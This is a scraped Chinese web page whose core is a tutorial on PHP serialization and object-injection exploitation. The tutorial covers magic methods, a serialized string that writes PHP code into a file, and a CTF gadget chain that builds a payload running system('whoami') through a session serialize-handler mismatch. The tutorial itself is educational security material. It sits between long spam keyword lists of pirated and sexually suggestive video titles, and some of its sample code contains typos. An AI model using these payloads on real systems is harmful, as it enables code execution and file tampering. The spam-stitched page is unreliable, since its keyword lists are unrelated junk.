<div id="palb5"><fieldset id="palb5"><strike id="palb5"></strike></fieldset></div>
      <center id="palb5"></center>
        <ruby id="palb5"><menuitem id="palb5"></menuitem></ruby>

          <em id="palb5"><ol id="palb5"></ol></em>
          太阳之歌女主角,棋王梁家辉,三毛学生意,绅士品格国语版全集,西安天空出现奇异云层,幽灵公主在线观看高清完整,蜜桃成熟时2未删减版,燃烧电视剧全集30集

          簡單分析PHP中序列化用法介紹

          時間:2024-08-15 18:02:59 PHP

          簡單分析PHP中序列化用法介紹

            序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

            0x00 序列化函數

            serialize():返回帶有變量類型和值的字符串

            unserialize():想要將已序列化的字符串變回 PHP 的值

            測試代碼:

            <?php

            class test{

            var $a;

            var $b;

            function __construct($a,$b,$c){

            $a  = $a;

            $this->b = $b;

            }

            }

            class test1 extends test{

            function __construct($a){

            $this->a = $a;

            }

            }

            $a = 'hello';

            $b = 123;

            $c = false;

            $d = new test('helloa','hellob','helloc');

            $e = new test1('hello');

            var_dump(serialize($a));

            var_dump(serialize($b));

            var_dump(serialize($c));

            var_dump(serialize($d));

            var_dump(serialize($e));

            ?>

            運行結果:

            string 's:5:"hello";' (length=12)

            string 'i:123;' (length=6)

            string 'b:0;' (length=4)

            string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

            string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

            序列化字符串格式: 變量類型:變量長度:變量內容 。

            如果序列化的是一個對象,序列化字符串格式為:

            變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

            將上述結果反序列化輸出,執行結果:

            string 'hello' (length=5)

            int 123

            boolean false

            object(test)[1]

            public 'a' => null

            public 'b' => string 'hellob' (length=6)

            object(test1)[1]

            public 'a' => string 'hello' (length=5)

            public 'b' => null

            0x01 對象序列化

            當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

            在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

            在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

            serialize()測試代碼:

            <?php

            class test{

            var $a;

            var $b;

            function __construct($a,$b,$c){

            $this->a  = $a;

            $this->b = $b;

            }

            function __sleep(){

            echo "b has changed"."\n";

            $this->b = 'hib';

            return $this->b;

            }

            function __wakeup(){

            echo "a has changed"."\n";

            $this->a = 'hia';

            }

            }

            class test1 extends test{

            function __construct($a){

            $this->a = $a;

            }

            }

            $d = new test('helloa','hellob','helloc');

            $e = new test1('hello');

            serialize($d);

            serialize($e);

            var_dump($d);

            var_dump($e);

            ?>

            執行結果:

            b has changed b has changed

            object(test)[1]

            public 'a' => string 'helloa' (length=6)

            public 'b' => string 'hib' (length=3)

            object(test1)[2]

            public 'a' => string 'hello' (length=5)

            public 'b' => string 'hib' (length=3)

            unserialize()測試代碼:

            class test{

            var $a;

            var $b;

            function __construct($a,$b,$c){

            $this->a  = $a;

            $this->b = $b;

            }

            function __sleep(){

            echo "b has changed"."\n";

            $this->b = 'hib';

            return $this->b;

            }

            function __wakeup(){

            echo "a has changed"."\n";

            $this->a = 'hia';

            }

            }

            class test1 extends test{

            function __construct($a){

            $this->a = $a;

            }

            }

            $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

            $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

            var_dump(unserialize($d));

            var_dump(unserialize($e));

            運行結果:

            a has changed

            object(test)[1]

            public 'a' => string 'hia' (length=3)

            public 'b' => string 'hellob' (length=6)

            a has changed

            object(test1)[1]

            public 'a' => string 'hia' (length=3)

            public 'b' => null

            0x02 PHP序列化的利用

            1、magic函數和序列化

            參考: php對象注入

            除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

            Class File

            {

            function __construct($var,$file1,$file2){

            $this->var = $var;

            $this->file1 = $file1;

            $this->file2 = $file2;

            echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

            }

            function __destruct(){

            unlink(dirname(__FILE__) . '/' . $this->file1);

            echo $this->file1.'deleted';

            }

            function __toString(){

            return file_get_contents($this->file2);

            }

            }

            // $file = new File('hello','123.txt','456.php');

            // var_dump(serialize($file));

            echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

            ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

            construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

            執行結果:

            123.txtdeleted

            查看源碼:

            <?php  echo 123; ?>123.txtdeleted

            將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

            如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

            http://drops.wooyun.org/papers/4820

            2、三個白帽挑戰賽第三期

            是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

            部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

            class Cache extends \ArrayObject

            {

            public $path;

            function __construct($path)

            {

            parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

            $this->path = $path;

            if(file_exists($path)){

            $this->cache = unserialize(file_get_contents($this->path));

            }

            function offset(){

            //一些不知道干嘛用的代碼

            }

            }

            function __destruct()

            {

            $cache = $this->serialize();

            file_put_contents($this->path, $cache);

            }

            }

            又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

            include('cache.php');

            $cache = new Cache('path.txt');

            這題好像是這樣的:

            通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

            path.txt:

            C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

            上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

            $cache = $this->serialize();

            變成了:

            $cache = serialize($this->cache);

            那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

            所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

            C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

            兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

            3、安恒ctf web3

            一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

            session上傳進度:

            參考: upload-progress

            當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

            測試代碼:

            <form action="" method="POST" enctype="multipart/form-data">

            <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

            <input type="file" name="123123" />

            <input type="submit" />

            </form>

            <?php

            session_start();

            var_dump($_SESSION);

            ?>

            (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

            session序列化處理器:

            參考: session序列化

            當session.auto_start = 0時:

            兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

            經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

            在2.php中注冊session.serialize_handler=‘php’;

            那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

            如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

            那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

            反之,如果是從php->php_serialize,是不可行的。

            當session.auto_start = 1時:

            只能注入 PHP 的內置類

            web3 源碼:

            class.php:

            <?php

            class foo1{

            public $varr;

            function __construct(){

            $this->varr = "index.php";

            }

            function __destruct(){

            if(file_exists($this->varr)){

            echo $this->varr;

            }

            echo "這是foo1的析構函數";

            }

            }

            class foo2{

            public $varr;

            public $obj;

            function __construct(){

            $this->varr = '1234567890';

            $this->obj = null;

            }

            function __toString(){

            $this->obj->execute();

            return $this->varr;

            }

            function __desctuct(){

            echo "這是foo2的析構函數";

            }

            }

            class foo3{

            public $varr;

            function execute(){

            eval($this->varr);

            }

            function __desctuct(){

            echo "這是foo3的析構函數";

            }

            }

            ?>

            index.php:

            <?php

            ini_set('session.serialize_handler', 'php');

            require("./sessionTest.php");

            session_start();

            $obj = new foo1();

            $obj->varr = "phpinfo.php";

            ?>

            想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

            所以這樣構造:

            include('class.php');

            $t1 = new foo1;

            $t2 = new foo2;

            $t3 = new foo3;

            $t3->varr = "system('whoami');";

            $t2->obj = $t3;

            $t1->varr = $t2;

            $s1 = serialize($t1);

            var_dump($s1);

            構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

            所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

            有兩類不同的插法~

            1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

            session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

            2、將序列化字符串插入post內容中

            因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

          【簡單分析PHP中序列化用法介紹】相關文章:

          簡單介紹php構造函數用法03-15

          php中dirname()和--FILE--常量的用法04-01

          PHP中的排序函數區別分析03-31

          PHP中MySQL、MySQLi和PDO的用法和區別03-10

          PHP對象注入的實例分析03-15

          PHP中curl的使用實例04-01

          PHP中關于類的定義04-01

          php中session的實現原理以及大網站應用應注意的問題分析04-01

          PHP中函數的使用說明03-30

          主站蜘蛛池模板: 监狱疯云| 僵粤语在线观看免费全集| 高清轧戏| 芈月传高清免费观看全视频| 哪吒1魔童降临| 韩国奇妙的发型屋免费观看原版 | 流星花园 泰版观看全集| 启航当风起时电视剧全集免费观看| 美丽的小蜜蜂4美丽人生| 千金归来51| 妻子被房东欺负是哪一集| 温柔阿姨2电视剧| 布拉芙夫人 电影| 热情的儿媳| 婚前试爱国语版| 传说中的故乡| 善良的小峓子小火星在线观看| 试爱房奴《高潮》4| 女大学生特殊按摩在线观看| 诛仙2电影完整免费观看| 识骨寻踪第一季高清在线观看| 监狱风云2 电影| 密室大逃脱第4季免费| 新还珠格格53集| 《伊波拉病毒2》未删版| 金钱之味剧情| 月满西楼舞蹈| 人世间58集全集免费看| 恶搞之家无删减在线观看| 《妈妈爱上儿子同学》结局全集 | 杨光的夏天 电视剧| 乳房与月亮| 需要爸爸的播放美国电影| 下辈子做你的女人电视剧| 电影国风按摩院| 进击的巨人佩妹| 侵略乌贼娘第二季| 《美丽屋景卖房子》| 团圆饭电视剧全集| 《神墓》全集免费动漫 | 年轻的母亲1在完整有限中字| 陈宝莲电影《满天星》在线播放 | 非你莫属淘宝金牌卖家| 白天摸摸哒晚上摸摸哒是什么歌| 此心安处是吾乡电视剧| 法国电影《金牌销售》在线播放| 夺命金电影| 郝板栗《大小姐》免费观看| 庆余年第二季免费完整版| 志愿军雄兵出击免费观看| 美国粉红大白菜| 最佳福星完整版免费观看 | 斗罗大陆184集| 男人之苦| 沧元图60集在线观看| 梦回星河短剧免费观看| 不良义姐电影| 妖精的尾巴45| 朋友的女朋友在线观看| 江山为重剧情| 飞行者百度影音| 格丽乔狂飙1080p免费无敌霉运星 一起相愁愁全集免费观看 | 男生和女生一起愁愁愁在线观看| 女超人麦乐迪在线看| 特战荣耀在线观看免费完整版高清| 红白蓝三部曲| 女超人电影2013完整版| 年轻的母亲4免费观看完整视频| 麦乐迪《家庭矛盾》4在线免费观看 | 四少妇推油在线| 4少妇按摩| 恶少的爱妻| 美容院特别待遇| 返老还童| 高潮艺术电影| 朴雅珍《蓝色隐形帽子》| 游龙惊凤电视剧| 私人女性监狱美国| 纯白交响曲动漫免费观看| 为爱所困电视剧| 千面女郎| 法网狙击 粤语| 音乐老师水饺| 阎立品秦雪梅见夫灵悲声大放 | 金银悔1~5集免费观看国语高清| 华政韩剧| 电视诗歌散文| 八角笼中免费观看| 《那山那海》今晚开播| 21世纪免费观看完整版| 新雌雄大盗| 年经母年经1的中文| 花子vs倔强的驱魔| 锦绣安宁电视剧免费| 我一个人的假期| 水润女人刘志贤免费观看电视剧| 魔宫魅影| 隐身的帽子在线观看免费高清| 巧奔妙逃高清完整版| 超人气校园| 《汤唯》电影免费观看高清| 详细解读捷途旅行者| 插曲的痛第60集| 花琉璃轶闻电视剧全集免费观看| 八戒,八戒神马网剧观看 | 上海重症高峰慢慢出现| 高考结束儿子表白妈妈| 霍州市| 韩版恶作剧之吻网络| 杰西卡德里克满天星| 龙月泰剧1集免费观看| 国语电影大片在线观看| 黑夜中的她短剧免费观看| 僵尸王日记| 六鬼团电影全集| 悬赏粤语版| 次板栗电影千金大小姐| 家有虎妻 电影| 唐伯虎vlog免费观看全集1446| 绅士和小姐| 放在里面边顶边吃饭| 神话故事女娲造人| 戴夫号飞船下载| 上错花轿嫁对郎字幕| 废世界电影| 空弹之森海外版在线观看| 俗女养成记| 和讨厌的部长一起去出差遇大雨在线| 鸡毛飞上天观看免费全集| 吉它兄弟| 命定之人电影| 变形金刚4枪版| 《伊波拉病毒2》电影| 成毅王权富贵电视剧免费播放| 学生的母亲5中字ID| 《定风波》电视剧| 牙医郝板栗完整板永久删除掉的剧情介绍 | 我们在黑夜中相拥电视剧免费观看| 暗恋成真:男神爱上我短剧全集| 回响电视剧在线观看| 花木兰刘亦菲在线观看免费版高清| 高清《极速车魂 第三季》电视剧| 大秦帝国之纵横高清| 猛鬼佛跳墙国语| 变形计2017| 高清《爱情怎么翻译?》电视剧| 香椿芽的储存方法| 一路向西高清完整版| 我的女婿| 电影沙丘| 公公之孚手1| 霞姐 夜生活女王| 被义子侵犯的继拇HD| 巨乳学院| 抗战奇侠| 挡不住的风情 下载| 背后的故事新还珠格格下| 美好的时光电视剧在线播放| 满清10大酷刑| 龙泉市| 番禺大劫案| 需要爸爸来播种电影| 欢场电影高清在线观看| 《痛难了》完整版 | 险恶的绣感未册版经| 梨泰院踩踏事故亲历者发声| 韩国 奇妙的发型屋| 双子星公主第3部| 肉浦团 在线观看| 美味三姐妹电影| 绝对权力电视剧全集免费观看| 边城电视剧| 《风向GO 第二季》未删减| 火影忍者 在线| 女同地带| 女超人满天星版麦乐迪马克斯在线观看| 密爱韩国电影完整版| 漂亮的妈妈7中字开头7个字| 兰若寺电影| 电影凯登克劳斯《急诊护士》| 污性福宝| 总统夫人在线观看罗丽星克来尔| 天龙八部 电影| 海狼行动| 电视剧解忧公主| 林忆莲演唱会高清| 主君的太阳| 奔月演员表| 小鸭子在线视频免费观看完整版| 《地府阎王》免费观看| 浪漫女家教主演:黛比地区:台湾| 二十大后第四“虎”被撤职| 黑白配大黑鬼国语版免费播放影视大 | 歌曲再度重相逢| 年轻的瘦了5| 鬼吹灯之黄皮子坟电影在线观看 | 恐怖游轮高清| 极度深寒2深海惊变| 男生吃女生的两个葡萄| 网球王子日语动漫| 特别酒店2日本索立信| 归去来结局| 烈酒电影满天星| 《楚汉传奇》免费观看| 好妈妈14中汉字| 山野女人香| 越南〈性暴行〉完整版电影| 童话村手机在线观| 战狼6免费高清版电影下载| 龙兄虎弟国语高清| 爱我就别想太多免费版| 长歌行电视剧全49集完整版| 德州迷情| 苍老师刺激的120分钟| 天线宝宝第3季| 孤注一掷在线观看高清免费张艺兴 | 大场面电影| 清纯小护士| 男女一起愁愁愁在线观看| 都市之最强系统全集免费| 我年轻的瘦子4()艺术片V| 另一个贝内特家的姐妹未删减| 坎贝奇《品味人生》高清全集免费看| 捉妖记bt| 电影战狼四免费观看| 新逃学威龙张浩在线观看| 凯登克罗斯电影高清播放| 绝地枪王| 使徒行者4| 快乐老友记第一季免费观看高清| 相逢是首歌| 一天1000条小金龙不够卖| 高清《隐入尘烟》完整版免费观看 | 足球小子全集| 李采潭特殊的治疗2| 电视剧心跳全集完整版免费观看 | 侦察兵电影| 南郑县| 恶魔阿萨谢尔在召唤你oad| 10000部电影免费观看大全| 省港旗兵| 黑名单第二季20集| 大侦探11| 电视剧记忆之城| 电影《水电工人的艳遇| 秋蝉电视剧全集免费观看| 女超人满天星版| 《高压监狱》完整免费| 一见钟情皆是爱短剧| 暗恋mv| 出差妻子被巨物社长侵犯韩国电影 | 黄圣依的乳晕| 群演逆袭全集免费| 高清《致命游戏》免费观看| 神隐电视剧| 女版古墓丽影满天星全集| 边水往事电视剧在线播放| 历史的天空2| 名欲场在线观看| 有一个姑娘赵薇| 1984美式保罗1-4| 天使爱美丽| 《绝情》电影完整版| 双人调情按摩术伦理片在线观看 | 十九岁大学生免费观看电视剧| 阿桑葬礼| 俘虏之锁~处女们的束缚| 黄泉的使者电视剧| 做aj的电视剧高清大全| 高清临租家庭未删减| 黄鳝21分钟完整版| 《热带雨》删除的部分| 沙鹰行动| 喜剧电影爆笑| 聊斋艳谭全集在线观看| 银魂126| 爱情呼叫转移| 掌心电视剧免费观看完整版| 我们恋爱吧第二季在线观看 | 插曲的痛60全集免费观看高清版在线观| 青春如期2| 凯·帕克《囚禁》| 金钱帝国国语| 我女朋友的新妈妈双字ID免费| 追龙在线观看| 丰城市| 那小子真帅电影国语版| 波多野结衣神奇女侠| 孤独的美食家第一季| 电视剧江湖恩仇录| 纵欲丰满的杨贵妃完整版| 山兔哪里多| 纵有疾风起一共多少集| 终极天将| 满江红电影免费百度网盘| 大象席地而坐免费| 离山野人之谜| 五等分的新娘夏季特别篇| 风与潮1-40集剧情介绍| 虏之锁| 《裸体新闻》在线观看 | 嗅觉神探| 《快递员4:特殊待遇》在线播放 | 《私人家教》1983版又叫什么版本| 刚结婚陪部长出差| 女版战狼6国语高清免费看| 恶女阿楚| 李云迪嫖娼女主| 群星追忆张国荣2012演唱会 | 美式保罗1980| 迦楠大人的白给是恶魔级全集观看| 电影《美容院的特殊待遇》男主开设| 人口第一大省首现负增长| 保罗一家1-4免费看| 真相2021电视剧在线观看| jizz365| 颐和园纪录片| 韩国满天星电影免费观看高清完整版在线观看 | 强迫警花戴乳环| 男人们别争宠| 甄嬛传46| 高压监狱法版免费观看| 暖暖的味道| 男女在一起愁愁愁免费观看电视剧| 归路电视剧免费完整版观看高清| 电影《牙医姐妹》在线看| 奇思妙想周莹博士王俊凯| 倔强驱魔师全集免费看| 高清《猎杀》免费观看| 日本金银1-5普通话版| 天美星空mv| 贝拉1980在线观看| 某科学的超电磁炮全集| 交口县| 死不张扬的离奇命案| 水咲萝拉 白妖精| 杨钰莹 遇江南| 十九岁在线观看免费完整版韩剧| 怦然心动20岁第三季| 人生之路电视剧在线观看| 《屠宰森林》在线观看| 电视剧妈妈在等你全集免费播放| 美国爸爸需要播种电影在线观看 | 风烟滚滚| 王李丹妮新片《维修工》| 搞笑一家人第2部| 大决战之淮海战役免费| 佐佐木明希黑人经典作品推荐| 《初体验5》完整版| 地心的纳粹| 拜托机长| 雾山五行第一季全集在线观看| 567记忆碎片免费| 酒店1-80集免费看全集| 女忍者忍法帖2| 三年成全在线观看免费高清电视剧| 绝世龙尊短剧免费看| 《最高の爱人》剧情介绍| 璀璨人生 电视剧| 法国版《女超人:麦乐迪》完整版免费观看| 张龙八极拳| 东北往事之黑道风云20年11集| 完颜之月| 17种幻想电影在线完整观看免费| 我们的歌第五季| 高清器子未删减| 妈妈的职业5完整版结局在线看免费高清 | 禁忌5在线观看| 甜美的咬痕第三季| 女教师动漫全集ova无修| 艾回五子| 一千滴眼泪 电视剧| 哈利波特20周年重返霍格沃茨| 六年级小学生差差差| 睫毛膏1983在线观看完整版| 霹雳舞2| 沙龙美容服务| 致命诱惑2015美版在线看| 军事不当行为1985意大利| 我的幸福婚约在线观看| 高清《鸭王》| 孙悟空大战盘丝洞猪八戒| 西关大少粤语高清| daojianxiao| 美景之屋电影完整版在线播放| xl司令全集| 高黄软糯小受被C到哭| 漂亮的小姨韩剧免费观看| 越南电影| 吉安市| 下一站是幸福免费观看| 电影《天空》完整版| 徐良小凌演唱会| 诱人的飞行韩国电影| 瓜达卢佩玫瑰在线| 刀马旦电影| 炸天小姐在线完整版| 王牌对王牌第二季| 笑傲江湖 第二季| 魔术师库诺看得见一切电视剧| 上位 电影| 战狼9免费高清版双人| 恩娇韩剧电影完整版免费观看| 麦乐迪父亲和女儿| 法国妓院里的回忆| 无职转生第二季在线观看中文| 怀玉公主全集优酷| 无处藏身电视剧| xL司令真人| 满江红枪版| 爆操老妈46集在线| 韩国电影办公室 免费| 梦想的声音免费观看| 大明风华电视剧在线播放免费| 中国农村夫妻CHINA| 思念是一种病mv| 少女rtys| 小早川玲子电影| 《朋友的妈妈2》在线观看| 军事不当行为1985意大利| 恶魔恋人| 《密会》| 春原未来| 扫黑风暴2021免费播放| 卖保险套的女人| 田中柠檬| 杰西简无删减版在线观看| 大奉打更人免费观看电视剧| 杨幂被挠脚心| 小樱桃2美剧免费观看全集| 六月的日记| 国风按摩院1-5季最新更新内容 | 女起人满天星免费观看完整版| 转世传说| 丫蛋歌曲| 陆贞传奇爱奇艺| 空中飞人打一字| 丰满的岳和女胥HD| 国产白嫩漂亮美女在线观看| 妙手房术欧洲版演员表| 对口相声| 夜莺电影| 莲花楼连续剧40集高清| 征服人妻第1-52集资源请求| 苍月战士苍月免费观看| 氪金玩家第一季免费播放| 荷尔蒙6在线观看免费版第三季 | 成仁电影| 财阀刑警| 插曲的痛免费高清观看完| 正在播放玩偶姐姐游戏陪玩| 不要问我从哪里来| 与凤行电视剧免费观看在线播放 | 昭和100部经典电影免费观看| 电视剧有你才幸福| 性极强的岳让我满足的导演| 招惹电视剧免费观看全集完整版| 不忠电影在线观看免费完整观看| 黑白配hd1080免费观看下载| 卿本佳人 迅雷下载| 夏炉冬扇| 一点就到家电影| 斗罗大陆178| 高清新选组镇魂歌 江户青春篇| 还珠格格天上人间| 美术老师的放羊班| 《笼中鸟》完整版| 韩国漂亮的小瘦子8| 高清直到黎明未删减| 勇敢的心第二部45集免费看视频| 小沈阳 不差钱| 父母爱情全集免费观看| 淫之方程式在线观看| 《妹妹爱上我》动漫| 高清爱你的基蒂 第三季未删减 | 《爱我几何》免费完整版在线观看 | 美女泳装跳舞钢管舞| 有色视频| 小王子建房教程| 三妻四妾免费观看完整版高清,皇家女 | 泛而不精的我被逐出勇者队伍| 插式治疗专业医院1-5集免费观看完整| 青岛一酒店疑闪爆| 男女一起愁愁愁电视剧免费观看在线播放 | 韩剧《我的游泳女教练》免费观看| 哎呀皇后娘娘来打工免费全集| 男女一起愁愁愁视频| 生死线电视剧全集免费观看| 卓仕琳七老板吞金| 日本空乘3免费高清原声满天星奔跑吧 | 电视剧马大帅第一部全集播放| 鸟鸟主持星光大赏| 战狼9欧式少女全部视频| 满清十大刑酷翁虹版| 电影《需要爸爸的种子》演员表| 《指尖上的热情》类似动漫| 垂帘听政电影| 乘风2024免费观看完整| 辣椒酱的制作方法及配料| 爱唯侦察偷拍| 天天有喜54集预告| 三少爷的剑高清| 伊波拉2病毒完整国语版免费| 教授与学生H1V1| 战狼6欧式少女全集哪里看| 火口的二人| 巴黎夜未眠| 《高压监狱2》法国版正版 | 清宫性史之名妓风流| 中国VS巴林| 独家记忆百度云| 魔鬼天使 qvod| 女版战狼6全集免费观看| 临沂新闻综合频道| 插曲的痛30集全集高清下载| 东北旧事电影观看完整版高清| 海贼王722| k8s经典版播放| 叶问 粤语| 听说 720p| 魔尊火线1.2黄金时代| 爱情三十六计电影| 王多鱼打扑克视频在线观看 | 《爱的方程式》动漫免费观看| 啄木鸟《荣誉法则》凯登斯托雅 | 还珠格格第三部40集免费播放视频| 白峰正版国语全集下载| 新还珠格格全集高清| 人鱼公主动画片| 古墓丽影hd版电影| 斗罗大陆免费完整观看197| 女超人(麦乐迪)版迅雷| 桃花在线看免费高清电视剧 | 也平凡1-45集免费观看| 《极乐宝鉴》在线观看| 女生越喊疼男生越往里塞app| 台风少年行| 电视剧苍狼在线观看| 九重紫电视剧全集| 高清极寒潜袭| 战狼6免费高清版视频播放在线观看| 禁猎区电影| 亲切的金子趴在桌子上的一段粤语| 蛇姬恋在线观看| 和男友打了一晚上扑克| 激战丛林电影版无删减版在线观看 | overflower在线观看 | 侯玉洁讲道全集免费看| 光环美剧| 陪读妈妈1-| 伦理厨房与继牳3| 电信宽带管家| 敦煌夜谭| 日剧和部长一起去出差| 斩神15集全集免费看完| 《部长出差的日子》在线观看 | 双女任务在线观看完整版高清电影免 | 黑人大屌大战美女| 最后的维京人| 美食的俘虏370| 高超音速导弹和洲际导弹区别| 上门女婿完整版高清免费全集| 家属观看| 反击国产电视剧全集| 布鲁克读大学满天星| 高清趣塔德庄园未删减| 《我的瑜伽老师》大结局| 女律师的堕落电视剧免费观看第4集| 台民视新闻播放我和我的祖国 | 建党伟业之践行者| 香火免费| 国风推拿院在线观看| 想明白了再结婚 电视剧| 强奸5广告诱惑| 王牌逗王牌电影| 爱我几何在线| 坏蛋先生2 电影| 宇佐美舞| 将军夫人:夫君护短全集免费 | 开关游戏怎么玩| 堕入地狱2| 二阶堂丽| 爱情公寓3 19| 镇沅| 汶川灵异事件绝密档案| 成毅王权富贵电视剧免费播放| 水手服饰育1982年完整版| 俄罗斯纪录片白色苔原| 豆腐西施杨七巧电视剧全集| 巜性刑房3捆绑凌虐BD中文字幕电影| 日本混血女大学生按摩在线观看 | 黑白配中文在线观看免费高清电影 | 雪中悍刀行在线观看免费完整版 | 俄罗斯电影《迷惑》| 蜜桃成熟时2未删减版| 《妻子5》免费高清电视剧| 《庆余年2》第107集| 韩国维修工的艳遇在线观看| 绪川里绪| 涩涩屋在线观看。| 吞噬星空动漫免费| 辣椒与泡菜演员表| 日本按摩3-4Pommane| 青草视频免费观看| 美妙人生韩剧| 《overflower》第一季动漫真人版| 甜蜜惩罚在线观看| 外出的目的电影| 渴望城市第一部| 淬火年代电视剧免费观看完整版| 高胜美歌曲缘| 蜡笔小新粤语| 向往的生活第7季| 戈壁母亲全集免费观看| 妈妈的职业4免费观看完整版高清| 《女超人》满天星| 黑暗侵袭1高清| 江湖恩仇录高清| 倔强的驱魔师1-4集免费观看| 名侦探柯南绀青之拳免费观看| 大奉打更人| 黑白配美国版在线观看完整版| 英雄本色4| 《玉女心经3:阴阳和合》香港 | 美国空乘4| 鬼吹灯之精绝古城剧情介绍| 尸奶俱乐部| 暴躁老妈46集免费观看中文版| 美剧 马可波罗| 桌球天王国语| 爸爸需要播种在线观看免费高清完整| 两人世界插曲30分钟| 月升沧海在线观看免费完整版| 梨树县| 下一站婚姻大结局| 《特战荣耀2》免费看| 坎贝奇第二部曲《无憾》免费观看| 三佳购物网上商城| 魔神英雄传| 斗罗大陆207集在线观看| 合租女孩百度影音| 三年成全主演名单| 驯龙高手电影| 落花时节又逢君电视剧免费播放| 美国电影需要爸爸播种子2| 贞淑的推销2024韩剧| 图样图森破啊| 韩影《白嫖之王下乡记》在线观看| 十天十夜剧情| 美女收藏家| 漂亮的瘦子1| 天火传说| 鸟鸟主持星光大赏| 金牌售楼销售的秘密5HD中字| 重返荣耀| 天下长河电视剧在线观看完整版| 玛丽萨科满天星原版| 铁血少年| 樱兰高校男公关部真人版| 禁忌4年转一代禁忌| 电视剧好先生全集| 3d肉蒲团高清在线| 高清凶降喜讯未删减| 美国雪莉一家4| 《热带雨》未测减除版| 黑名单 美剧| 2008徐少强在线观看完整版| 红楼春上春快播| 和部长出差电影 | 赤子板《姐妹牙医》百度云 | 《维修工的艳遇》| 韩版恶作剧之吻2| 五十公里桃花坞4免费观看完整版| 美国《爱上儿子》电影 | 翁红的电影| 《私人助理》| 李昀锐搞笑视频| 高清命中婚劫| BBBwww| 刺刀电视剧| 蓝精灵在线观看| 